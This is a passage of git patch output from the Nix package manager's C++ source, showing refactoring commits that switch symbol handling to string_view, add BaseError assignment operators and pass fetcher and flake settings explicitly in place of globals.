vm.insert_or_assign(std::string(st[i.first]), env.values[i.second]); } } } @@ -1338,7 +1338,7 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) if (!(j = vAttrs->attrs()->get(name))) { std::set allAttrNames; for (auto & attr : *vAttrs->attrs()) - allAttrNames.insert(state.symbols[attr.name]); + allAttrNames.insert(std::string(state.symbols[attr.name])); auto suggestions = Suggestions::bestMatches(allAttrNames, state.symbols[name]); state.error("attribute '%1%' missing", state.symbols[name]) .atPos(pos).withSuggestions(suggestions).withFrame(env, *this).debugThrow(); @@ -1496,7 +1496,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & if (!lambda.formals->has(i.name)) { std::set formalNames; for (auto & formal : lambda.formals->formals) - formalNames.insert(symbols[formal.name]); + formalNames.insert(std::string(symbols[formal.name])); auto suggestions = Suggestions::bestMatches(formalNames, symbols[i.name]); error("function '%1%' called with unexpected argument '%2%'", (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index 896733423..7041a3932 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -342,9 +342,9 @@ std::optional getDerivation(EvalState & state, Value & v, } -static std::string addToPath(const std::string & s1, const std::string & s2) +static std::string addToPath(const std::string & s1, std::string_view s2) { - return s1.empty() ? s2 : s1 + "." + s2; + return s1.empty() ? std::string(s2) : s1 + "." + s2; } diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 134363e1a..bcde0bb12 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1225,7 +1225,7 @@ static void derivationStrictInternal( for (auto & i : attrs->lexicographicOrder(state.symbols)) { if (i->name == state.sIgnoreNulls) continue; - const std::string & key = state.symbols[i->name]; + auto key = state.symbols[i->name]; vomit("processing attribute '%1%'", key); auto handleHashMode = [&](const std::string_view s) { @@ -1309,7 +1309,7 @@ static void derivationStrictInternal( if (i->name == state.sStructuredAttrs) continue; - (*jsonObject)[key] = printValueAsJSON(state, true, *i->value, pos, context); + jsonObject->emplace(key, printValueAsJSON(state, true, *i->value, pos, context)); if (i->name == state.sBuilder) drv.builder = state.forceString(*i->value, context, pos, context_below); diff --git a/src/libexpr/symbol-table.hh b/src/libexpr/symbol-table.hh index 967a186dd..5c2821492 100644 --- a/src/libexpr/symbol-table.hh +++ b/src/libexpr/symbol-table.hh @@ -30,9 +30,9 @@ public: return *s == s2; } - operator const std::string & () const + const char * c_str() const { - return *s; + return s->c_str(); } operator const std::string_view () const diff --git a/src/libexpr/value-to-json.cc b/src/libexpr/value-to-json.cc index 936ecf078..f8cc05616 100644 --- a/src/libexpr/value-to-json.cc +++ b/src/libexpr/value-to-json.cc @@ -58,7 +58,7 @@ json printValueAsJSON(EvalState & state, bool strict, out = json::object(); for (auto & a : v.attrs()->lexicographicOrder(state.symbols)) { try { - out[state.symbols[a->name]] = printValueAsJSON(state, strict, *a->value, a->pos, context, copyToStore); + out.emplace(state.symbols[a->name], printValueAsJSON(state, strict, *a->value, a->pos, context, copyToStore)); } catch (Error & e) { e.addTrace(state.positions[a->pos], HintFmt("while evaluating attribute '%1%'", state.symbols[a->name])); diff --git a/src/libexpr/value-to-xml.cc b/src/libexpr/value-to-xml.cc index 1de8cdf84..9734ebec4 100644 --- a/src/libexpr/value-to-xml.cc +++ b/src/libexpr/value-to-xml.cc @@ -9,7 +9,7 @@ namespace nix { -static XMLAttrs singletonAttrs(const std::string & name, const std::string & value) +static XMLAttrs singletonAttrs(const std::string & name, std::string_view value) { XMLAttrs attrs; attrs[name] = value; diff --git a/src/libflake/flake/flake.cc b/src/libflake/flake/flake.cc index 6f47b5992..eb083fcee 100644 --- a/src/libflake/flake/flake.cc +++ b/src/libflake/flake/flake.cc @@ -98,7 +98,7 @@ static std::map parseFlakeInputs( const std::optional & baseDir, InputPath lockRootPath); static FlakeInput parseFlakeInput(EvalState & state, - const std::string & inputName, Value * value, const PosIdx pos, + std::string_view inputName, Value * value, const PosIdx pos, const std::optional & baseDir, InputPath lockRootPath) { expectType(state, nAttrs, *value, pos); @@ -178,7 +178,7 @@ static FlakeInput parseFlakeInput(EvalState & state, } if (!input.follows && !input.ref) - input.ref = FlakeRef::fromAttrs({{"type", "indirect"}, {"id", inputName}}); + input.ref = FlakeRef::fromAttrs({{"type", "indirect"}, {"id", std::string(inputName)}}); return input; } @@ -244,7 +244,7 @@ static Flake readFlake( for (auto & formal : outputs->value->payload.lambda.fun->formals->formals) { if (formal.name != state.sSelf) flake.inputs.emplace(state.symbols[formal.name], FlakeInput { - .ref = parseFlakeRef(state.symbols[formal.name]) + .ref = parseFlakeRef(std::string(state.symbols[formal.name])) }); } } diff --git a/src/libutil/suggestions.cc b/src/libutil/suggestions.cc index e67e986fb..84c8e296f 100644 --- a/src/libutil/suggestions.cc +++ b/src/libutil/suggestions.cc @@ -38,8 +38,8 @@ int levenshteinDistance(std::string_view first, std::string_view second) } Suggestions Suggestions::bestMatches ( - std::set allMatches, - std::string query) + const std::set & allMatches, + std::string_view query) { std::set res; for (const auto & possibleMatch : allMatches) { diff --git a/src/libutil/suggestions.hh b/src/libutil/suggestions.hh index 9abf5ee5f..17d1d69c1 100644 --- a/src/libutil/suggestions.hh +++ b/src/libutil/suggestions.hh @@ -35,8 +35,8 @@ public: ) const; static Suggestions bestMatches ( - std::set allMatches, - std::string query + const std::set & allMatches, + std::string_view query ); Suggestions& operator+=(const Suggestions & other); diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 84c659023..b65c7f59d 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -165,7 +165,7 @@ struct CmdFlakeLock : FlakeCommand }; static void enumerateOutputs(EvalState & state, Value & vFlake, - std::function callback) + std::function callback) { auto pos = vFlake.determinePos(noPos); state.forceAttrs(vFlake, pos, "while evaluating a flake to get its outputs"); @@ -393,15 +393,15 @@ struct CmdFlakeCheck : FlakeCommand || (hasPrefix(name, "_") && name.substr(1) == expected); }; - auto checkSystemName = [&](const std::string & system, const PosIdx pos) { + auto checkSystemName = [&](std::string_view system, const PosIdx pos) { // FIXME: what's the format of "system"? if (system.find('-') == std::string::npos) reportError(Error("'%s' is not a valid system type, at %s", system, resolve(pos))); }; - auto checkSystemType = [&](const std::string & system, const PosIdx pos) { + auto checkSystemType = [&](std::string_view system, const PosIdx pos) { if (!checkAllSystems && system != localSystem) { - omittedSystems.insert(system); + omittedSystems.insert(std::string(system)); return false; } else { return true; @@ -450,7 +450,7 @@ struct CmdFlakeCheck : FlakeCommand } }; - auto checkOverlay = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + auto checkOverlay = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { Activity act(*logger, lvlInfo, actUnknown, fmt("checking overlay '%s'", attrPath)); @@ -469,7 +469,7 @@ struct CmdFlakeCheck : FlakeCommand } }; - auto checkModule = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + auto checkModule = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { Activity act(*logger, lvlInfo, actUnknown, fmt("checking NixOS module '%s'", attrPath)); @@ -480,9 +480,9 @@ struct CmdFlakeCheck : FlakeCommand } }; - std::function checkHydraJobs; + std::function checkHydraJobs; - checkHydraJobs = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + checkHydraJobs = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { Activity act(*logger, lvlInfo, actUnknown, fmt("checking Hydra job '%s'", attrPath)); @@ -523,7 +523,7 @@ struct CmdFlakeCheck : FlakeCommand } }; - auto checkTemplate = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + auto checkTemplate = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { Activity act(*logger, lvlInfo, actUnknown, fmt("checking template '%s'", attrPath)); @@ -579,7 +579,7 @@ struct CmdFlakeCheck : FlakeCommand enumerateOutputs(*state, *vFlake, - [&](const std::string & name, Value & vOutput, const PosIdx pos) { + [&](std::string_view name, Value & vOutput, const PosIdx pos) { Activity act(*logger, lvlInfo, actUnknown, fmt("checking flake output '%s'", name)); @@ -603,7 +603,7 @@ struct CmdFlakeCheck : FlakeCommand if (name == "checks") { state->forceAttrs(vOutput, pos, ""); for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; + std::string_view attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { state->forceAttrs(*attr.value, attr.pos, ""); diff --git a/src/nix/main.cc b/src/nix/main.cc index c90bb25a7..775052351 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -429,7 +429,7 @@ void mainWrapped(int argc, char * * argv) b["doc"] = trim(stripIndentation(primOp->doc)); if (primOp->experimentalFeature) b["experimental-feature"] = primOp->experimentalFeature; - builtinsJson[state.symbols[builtin.name]] = std::move(b); + builtinsJson.emplace(state.symbols[builtin.name], std::move(b)); } for (auto & [name, info] : state.constantInfos) { auto b = nlohmann::json::object(); From f070d68c32463fab9972361e1874c9c270ec672a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 14:25:16 +0200 Subject: [PATCH 1041/1251] Add BaseError assignment operators The move assignment was implicitly generated and used in src/libstore/build/goal.cc:90:22: 90 | this->ex = std::move(*ex); Clang warns about this generated method being deprecated, so making them explicit fixes the warning. --- src/libutil/error.hh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 4b08a045e..1fe98077e 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -127,6 +127,8 @@ protected: public: BaseError(const BaseError &) = default; + BaseError& operator=(const BaseError &) = default; + BaseError& operator=(BaseError &&) = default; template BaseError(unsigned int status, const Args & ... args) From 3fc77f281ef3def1f997c959687cba04660dd27d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 1 Jul 2024 13:37:30 -0400 Subject: [PATCH 1042/1251] No global settings in `libnixfetchers` and `libnixflake` Progress on #5638 There are still a global fetcher and eval settings, but they are pushed down into `libnixcmd`, which is a lot less bad a place for this sort of thing. Continuing process pioneered in 52bfccf8d8112ba738e6fc9e4891f85b6b864566. --- src/libcmd/command.cc | 2 +- src/libcmd/common-eval-args.cc | 20 +++- src/libcmd/common-eval-args.hh | 15 +++ src/libcmd/installable-flake.cc | 3 +- src/libcmd/installable-flake.hh | 3 +- src/libcmd/installables.cc | 19 +-- src/libcmd/repl.cc | 4 +- src/libexpr-c/local.mk | 2 +- src/libexpr-c/nix_api_expr.cc | 2 + src/libexpr-c/nix_api_expr_internal.h | 2 + src/libexpr/eval-settings.cc | 1 - src/libexpr/eval.cc | 4 +- src/libexpr/eval.hh | 7 +- src/libexpr/primops/fetchMercurial.cc | 2 +- src/libexpr/primops/fetchTree.cc | 8 +- src/libfetchers/fetch-settings.cc | 9 +- src/libfetchers/fetch-settings.hh | 17 ++- src/libfetchers/fetchers.cc | 18 +-- src/libfetchers/fetchers.hh | 28 ++++- src/libfetchers/git.cc | 24 ++-- src/libfetchers/github.cc | 42 ++++--- src/libfetchers/indirect.cc | 12 +- src/libfetchers/mercurial.cc | 16 ++- src/libfetchers/path.cc | 12 +- src/libfetchers/registry.cc | 67 +++++------ src/libfetchers/registry.hh | 14 ++- src/libfetchers/tarball.cc | 14 ++- src/libflake/flake-settings.cc | 12 -- src/libflake/flake/config.cc | 6 +- src/libflake/flake/flake.cc | 109 ++++++++++-------- src/libflake/flake/flake.hh | 13 ++- src/libflake/flake/flakeref.cc | 43 ++++--- src/libflake/flake/flakeref.hh | 15 ++- src/libflake/flake/lockfile.cc | 19 +-- src/libflake/flake/lockfile.hh | 8 +- src/libflake/flake/settings.cc | 7 ++ .../{flake-settings.hh => flake/settings.hh} | 9 +- src/libflake/meson.build | 6 +- src/nix-build/nix-build.cc | 2 +- src/nix-env/nix-env.cc | 2 +- src/nix-instantiate/nix-instantiate.cc | 2 +- src/nix/bundle.cc | 4 +- src/nix/flake.cc | 9 +- src/nix/main.cc | 6 +- src/nix/prefetch.cc | 2 +- src/nix/profile.cc | 4 +- src/nix/registry.cc | 16 +-- src/nix/upgrade-nix.cc | 2 +- tests/unit/libexpr-support/tests/libexpr.hh | 5 +- tests/unit/libflake/flakeref.cc | 4 +- 50 files changed, 401 insertions(+), 271 deletions(-) delete mode 100644 src/libflake/flake-settings.cc create mode 100644 src/libflake/flake/settings.cc rename src/libflake/{flake-settings.hh => flake/settings.hh} (86%) diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 74d146c66..e0e5f0890 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -132,7 +132,7 @@ ref EvalCommand::getEvalState() #else std::make_shared( #endif - lookupPath, getEvalStore(), evalSettings, getStore()) + lookupPath, getEvalStore(), fetchSettings, evalSettings, getStore()) ; evalState->repair = repair; diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 62745b681..470a25c4e 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -1,3 +1,4 @@ +#include "fetch-settings.hh" #include "eval-settings.hh" #include "common-eval-args.hh" #include "shared.hh" @@ -7,6 +8,7 @@ #include "fetchers.hh" #include "registry.hh" #include "flake/flakeref.hh" +#include "flake/settings.hh" #include "store-api.hh" #include "command.hh" #include "tarball.hh" @@ -16,6 +18,10 @@ namespace nix { +fetchers::Settings fetchSettings; + +static GlobalConfig::Register rFetchSettings(&fetchSettings); + EvalSettings evalSettings { settings.readOnlyMode, { @@ -24,7 +30,7 @@ EvalSettings evalSettings { [](ref store, std::string_view rest) { experimentalFeatureSettings.require(Xp::Flakes); // FIXME `parseFlakeRef` should take a `std::string_view`. - auto flakeRef = parseFlakeRef(std::string { rest }, {}, true, false); + auto flakeRef = parseFlakeRef(fetchSettings, std::string { rest }, {}, true, false); debug("fetching flake search path element '%s''", rest); auto storePath = flakeRef.resolve(store).fetchTree(store).first; return store->toRealPath(storePath); @@ -35,6 +41,12 @@ EvalSettings evalSettings { static GlobalConfig::Register rEvalSettings(&evalSettings); + +flake::Settings flakeSettings; + +static GlobalConfig::Register rFlakeSettings(&flakeSettings); + + CompatibilitySettings compatibilitySettings {}; static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings); @@ -171,8 +183,8 @@ MixEvalArgs::MixEvalArgs() .category = category, .labels = {"original-ref", "resolved-ref"}, .handler = {[&](std::string _from, std::string _to) { - auto from = parseFlakeRef(_from, absPath(".")); - auto to = parseFlakeRef(_to, absPath(".")); + auto from = parseFlakeRef(fetchSettings, _from, absPath(".")); + auto to = parseFlakeRef(fetchSettings, _to, absPath(".")); fetchers::Attrs extraAttrs; if (to.subdir != "") extraAttrs["dir"] = to.subdir; fetchers::overrideRegistry(from.input, to.input, extraAttrs); @@ -230,7 +242,7 @@ SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * bas else if (hasPrefix(s, "flake:")) { experimentalFeatureSettings.require(Xp::Flakes); - auto flakeRef = parseFlakeRef(std::string(s.substr(6)), {}, true, false); + auto flakeRef = parseFlakeRef(fetchSettings, std::string(s.substr(6)), {}, true, false); auto storePath = flakeRef.resolve(state.store).fetchTree(state.store).first; return state.rootPath(CanonPath(state.store->toRealPath(storePath))); } diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 8d303ee7c..c62365b32 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -11,17 +11,32 @@ namespace nix { class Store; + +namespace fetchers { struct Settings; } + class EvalState; struct EvalSettings; struct CompatibilitySettings; class Bindings; struct SourcePath; +namespace flake { struct Settings; } + +/** + * @todo Get rid of global setttings variables + */ +extern fetchers::Settings fetchSettings; + /** * @todo Get rid of global setttings variables */ extern EvalSettings evalSettings; +/** + * @todo Get rid of global setttings variables + */ +extern flake::Settings flakeSettings; + /** * Settings that control behaviors that have changed since Nix 2.3. */ diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc index 899919550..8796ad5ba 100644 --- a/src/libcmd/installable-flake.cc +++ b/src/libcmd/installable-flake.cc @@ -196,7 +196,8 @@ std::shared_ptr InstallableFlake::getLockedFlake() const flake::LockFlags lockFlagsApplyConfig = lockFlags; // FIXME why this side effect? lockFlagsApplyConfig.applyNixConfig = true; - _lockedFlake = std::make_shared(lockFlake(*state, flakeRef, lockFlagsApplyConfig)); + _lockedFlake = std::make_shared(lockFlake( + flakeSettings, *state, flakeRef, lockFlagsApplyConfig)); } return _lockedFlake; } diff --git a/src/libcmd/installable-flake.hh b/src/libcmd/installable-flake.hh index 30240a35a..8e0a232ef 100644 --- a/src/libcmd/installable-flake.hh +++ b/src/libcmd/installable-flake.hh @@ -1,6 +1,7 @@ #pragma once ///@file +#include "common-eval-args.hh" #include "installable-value.hh" namespace nix { @@ -78,7 +79,7 @@ struct InstallableFlake : InstallableValue */ static inline FlakeRef defaultNixpkgsFlakeRef() { - return FlakeRef::fromAttrs({{"type","indirect"}, {"id", "nixpkgs"}}); + return FlakeRef::fromAttrs(fetchSettings, {{"type","indirect"}, {"id", "nixpkgs"}}); } ref openEvalCache( diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 0c9e69fe8..417e15094 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -129,7 +129,7 @@ MixFlakeOptions::MixFlakeOptions() lockFlags.writeLockFile = false; lockFlags.inputOverrides.insert_or_assign( flake::parseInputPath(inputPath), - parseFlakeRef(flakeRef, absPath(getCommandBaseDir()), true)); + parseFlakeRef(fetchSettings, flakeRef, absPath(getCommandBaseDir()), true)); }}, .completer = {[&](AddCompletions & completions, size_t n, std::string_view prefix) { if (n == 0) { @@ -170,14 +170,15 @@ MixFlakeOptions::MixFlakeOptions() .handler = {[&](std::string flakeRef) { auto evalState = getEvalState(); auto flake = flake::lockFlake( + flakeSettings, *evalState, - parseFlakeRef(flakeRef, absPath(getCommandBaseDir())), + parseFlakeRef(fetchSettings, flakeRef, absPath(getCommandBaseDir())), { .writeLockFile = false }); for (auto & [inputName, input] : flake.lockFile.root->inputs) { auto input2 = flake.lockFile.findInput({inputName}); // resolve 'follows' nodes if (auto input3 = std::dynamic_pointer_cast(input2)) { overrideRegistry( - fetchers::Input::fromAttrs({{"type","indirect"}, {"id", inputName}}), + fetchers::Input::fromAttrs(fetchSettings, {{"type","indirect"}, {"id", inputName}}), input3->lockedRef.input, {}); } @@ -338,10 +339,11 @@ void completeFlakeRefWithFragment( auto flakeRefS = std::string(prefix.substr(0, hash)); // TODO: ideally this would use the command base directory instead of assuming ".". - auto flakeRef = parseFlakeRef(expandTilde(flakeRefS), absPath(".")); + auto flakeRef = parseFlakeRef(fetchSettings, expandTilde(flakeRefS), absPath(".")); auto evalCache = openEvalCache(*evalState, - std::make_shared(lockFlake(*evalState, flakeRef, lockFlags))); + std::make_shared(lockFlake( + flakeSettings, *evalState, flakeRef, lockFlags))); auto root = evalCache->getRoot(); @@ -403,7 +405,7 @@ void completeFlakeRef(AddCompletions & completions, ref store, std::strin Args::completeDir(completions, 0, prefix); /* Look for registry entries that match the prefix. */ - for (auto & registry : fetchers::getRegistries(store)) { + for (auto & registry : fetchers::getRegistries(fetchSettings, store)) { for (auto & entry : registry->entries) { auto from = entry.from.to_string(); if (!hasPrefix(prefix, "flake:") && hasPrefix(from, "flake:")) { @@ -534,7 +536,8 @@ Installables SourceExprCommand::parseInstallables( } try { - auto [flakeRef, fragment] = parseFlakeRefWithFragment(std::string { prefix }, absPath(getCommandBaseDir())); + auto [flakeRef, fragment] = parseFlakeRefWithFragment( + fetchSettings, std::string { prefix }, absPath(getCommandBaseDir())); result.push_back(make_ref( this, getEvalState(), @@ -851,6 +854,7 @@ std::vector RawInstallablesCommand::getFlakeRefsForCompletion() std::vector res; for (auto i : rawInstallables) res.push_back(parseFlakeRefWithFragment( + fetchSettings, expandTilde(i), absPath(getCommandBaseDir())).first); return res; @@ -873,6 +877,7 @@ std::vector InstallableCommand::getFlakeRefsForCompletion() { return { parseFlakeRefWithFragment( + fetchSettings, expandTilde(_installable), absPath(getCommandBaseDir())).first }; diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index ce1c5af69..661785335 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -690,14 +690,14 @@ void NixRepl::loadFlake(const std::string & flakeRefS) if (flakeRefS.empty()) throw Error("cannot use ':load-flake' without a path specified. (Use '.' for the current working directory.)"); - auto flakeRef = parseFlakeRef(flakeRefS, absPath("."), true); + auto flakeRef = parseFlakeRef(fetchSettings, flakeRefS, absPath("."), true); if (evalSettings.pureEval && !flakeRef.input.isLocked()) throw Error("cannot use ':load-flake' on locked flake reference '%s' (use --impure to override)", flakeRefS); Value v; flake::callFlake(*state, - flake::lockFlake(*state, flakeRef, + flake::lockFlake(flakeSettings, *state, flakeRef, flake::LockFlags { .updateLockFile = false, .useRegistries = !evalSettings.pureEval, diff --git a/src/libexpr-c/local.mk b/src/libexpr-c/local.mk index 51b02562e..227a4095b 100644 --- a/src/libexpr-c/local.mk +++ b/src/libexpr-c/local.mk @@ -15,7 +15,7 @@ libexprc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) \ $(INCLUDE_libstore) $(INCLUDE_libstorec) \ $(INCLUDE_libexpr) $(INCLUDE_libexprc) -libexprc_LIBS = libutil libutilc libstore libstorec libexpr +libexprc_LIBS = libutil libutilc libstore libstorec libfetchers libexpr libexprc_LDFLAGS += $(THREAD_LDFLAGS) diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index 13e0f5f3a..34e9b2744 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -112,12 +112,14 @@ EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c static_cast(alignof(EvalState))); auto * p2 = static_cast(p); new (p) EvalState { + .fetchSettings = nix::fetchers::Settings{}, .settings = nix::EvalSettings{ nix::settings.readOnlyMode, }, .state = nix::EvalState( nix::LookupPath::parse(lookupPath), store->ptr, + p2->fetchSettings, p2->settings), }; loadConfFile(p2->settings); diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h index d4ccffd29..12f24b6eb 100644 --- a/src/libexpr-c/nix_api_expr_internal.h +++ b/src/libexpr-c/nix_api_expr_internal.h @@ -1,6 +1,7 @@ #ifndef NIX_API_EXPR_INTERNAL_H #define NIX_API_EXPR_INTERNAL_H +#include "fetch-settings.hh" #include "eval.hh" #include "eval-settings.hh" #include "attr-set.hh" @@ -8,6 +9,7 @@ struct EvalState { + nix::fetchers::Settings fetchSettings; nix::EvalSettings settings; nix::EvalState state; }; diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index 6b7b52cef..e2151aa7f 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -1,5 +1,4 @@ #include "users.hh" -#include "config-global.hh" #include "globals.hh" #include "profiles.hh" #include "eval.hh" diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index efca9dd2f..9eb3d972c 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -217,9 +217,11 @@ static constexpr size_t BASE_ENV_SIZE = 128; EvalState::EvalState( const LookupPath & _lookupPath, ref store, + const fetchers::Settings & fetchSettings, const EvalSettings & settings, std::shared_ptr buildStore) - : settings{settings} + : fetchSettings{fetchSettings} + , settings{settings} , sWith(symbols.create("")) , sOutPath(symbols.create("outPath")) , sDrvPath(symbols.create("drvPath")) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index e45358055..5df3e92be 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -30,6 +30,7 @@ namespace nix { constexpr size_t maxPrimOpArity = 8; class Store; +namespace fetchers { struct Settings; } struct EvalSettings; class EvalState; class StorePath; @@ -43,7 +44,7 @@ namespace eval_cache { /** * Function that implements a primop. */ -typedef void (* PrimOpFun) (EvalState & state, const PosIdx pos, Value * * args, Value & v); +using PrimOpFun = void(EvalState & state, const PosIdx pos, Value * * args, Value & v); /** * Info about a primitive operation, and its implementation @@ -84,7 +85,7 @@ struct PrimOp /** * Implementation of the primop. */ - std::function::type> fun; + std::function fun; /** * Optional experimental for this to be gated on. @@ -162,6 +163,7 @@ struct DebugTrace { class EvalState : public std::enable_shared_from_this { public: + const fetchers::Settings & fetchSettings; const EvalSettings & settings; SymbolTable symbols; PosTable positions; @@ -353,6 +355,7 @@ public: EvalState( const LookupPath & _lookupPath, ref store, + const fetchers::Settings & fetchSettings, const EvalSettings & settings, std::shared_ptr buildStore = nullptr); ~EvalState(); diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index 7b5f4193a..64e3abf2d 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ b/src/libexpr/primops/fetchMercurial.cc @@ -62,7 +62,7 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a attrs.insert_or_assign("name", std::string(name)); if (ref) attrs.insert_or_assign("ref", *ref); if (rev) attrs.insert_or_assign("rev", rev->gitRev()); - auto input = fetchers::Input::fromAttrs(std::move(attrs)); + auto input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); auto [storePath, input2] = input.fetchToStore(state.store); diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 567b73f9a..6a7accad7 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -85,7 +85,7 @@ static void fetchTree( Value & v, const FetchTreeParams & params = FetchTreeParams{} ) { - fetchers::Input input; + fetchers::Input input { state.fetchSettings }; NixStringContext context; std::optional type; if (params.isFetchGit) type = "git"; @@ -148,7 +148,7 @@ static void fetchTree( "attribute 'name' isn’t supported in call to 'fetchTree'" ).atPos(pos).debugThrow(); - input = fetchers::Input::fromAttrs(std::move(attrs)); + input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); } else { auto url = state.coerceToString(pos, *args[0], context, "while evaluating the first argument passed to the fetcher", @@ -161,13 +161,13 @@ static void fetchTree( if (!attrs.contains("exportIgnore") && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { attrs.emplace("exportIgnore", Explicit{true}); } - input = fetchers::Input::fromAttrs(std::move(attrs)); + input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); } else { if (!experimentalFeatureSettings.isEnabled(Xp::Flakes)) state.error( "passing a string argument to 'fetchTree' requires the 'flakes' experimental feature" ).atPos(pos).debugThrow(); - input = fetchers::Input::fromURL(url); + input = fetchers::Input::fromURL(state.fetchSettings, url); } } diff --git a/src/libfetchers/fetch-settings.cc b/src/libfetchers/fetch-settings.cc index 21c42567c..c7ed4c7af 100644 --- a/src/libfetchers/fetch-settings.cc +++ b/src/libfetchers/fetch-settings.cc @@ -1,14 +1,9 @@ #include "fetch-settings.hh" -#include "config-global.hh" -namespace nix { +namespace nix::fetchers { -FetchSettings::FetchSettings() +Settings::Settings() { } -FetchSettings fetchSettings; - -static GlobalConfig::Register rFetchSettings(&fetchSettings); - } diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh index 629967697..f7cb34a02 100644 --- a/src/libfetchers/fetch-settings.hh +++ b/src/libfetchers/fetch-settings.hh @@ -9,11 +9,11 @@ #include -namespace nix { +namespace nix::fetchers { -struct FetchSettings : public Config +struct Settings : public Config { - FetchSettings(); + Settings(); Setting accessTokens{this, {}, "access-tokens", R"( @@ -84,9 +84,14 @@ struct FetchSettings : public Config `narHash` attribute is specified, e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`. )"}; + + Setting flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry", + R"( + Path or URI of the global flake registry. + + When empty, disables the global flake registry. + )", + {}, true, Xp::Flakes}; }; -// FIXME: don't use a global variable. -extern FetchSettings fetchSettings; - } diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 294960678..59e77621c 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -35,9 +35,11 @@ nlohmann::json dumpRegisterInputSchemeInfo() { return res; } -Input Input::fromURL(const std::string & url, bool requireTree) +Input Input::fromURL( + const Settings & settings, + const std::string & url, bool requireTree) { - return fromURL(parseURL(url), requireTree); + return fromURL(settings, parseURL(url), requireTree); } static void fixupInput(Input & input) @@ -49,10 +51,12 @@ static void fixupInput(Input & input) input.getLastModified(); } -Input Input::fromURL(const ParsedURL & url, bool requireTree) +Input Input::fromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) { for (auto & [_, inputScheme] : *inputSchemes) { - auto res = inputScheme->inputFromURL(url, requireTree); + auto res = inputScheme->inputFromURL(settings, url, requireTree); if (res) { experimentalFeatureSettings.require(inputScheme->experimentalFeature()); res->scheme = inputScheme; @@ -64,7 +68,7 @@ Input Input::fromURL(const ParsedURL & url, bool requireTree) throw Error("input '%s' is unsupported", url.url); } -Input Input::fromAttrs(Attrs && attrs) +Input Input::fromAttrs(const Settings & settings, Attrs && attrs) { auto schemeName = ({ auto schemeNameOpt = maybeGetStrAttr(attrs, "type"); @@ -78,7 +82,7 @@ Input Input::fromAttrs(Attrs && attrs) // but not all of them. Doing this is to support those other // operations which are supposed to be robust on // unknown/uninterpretable 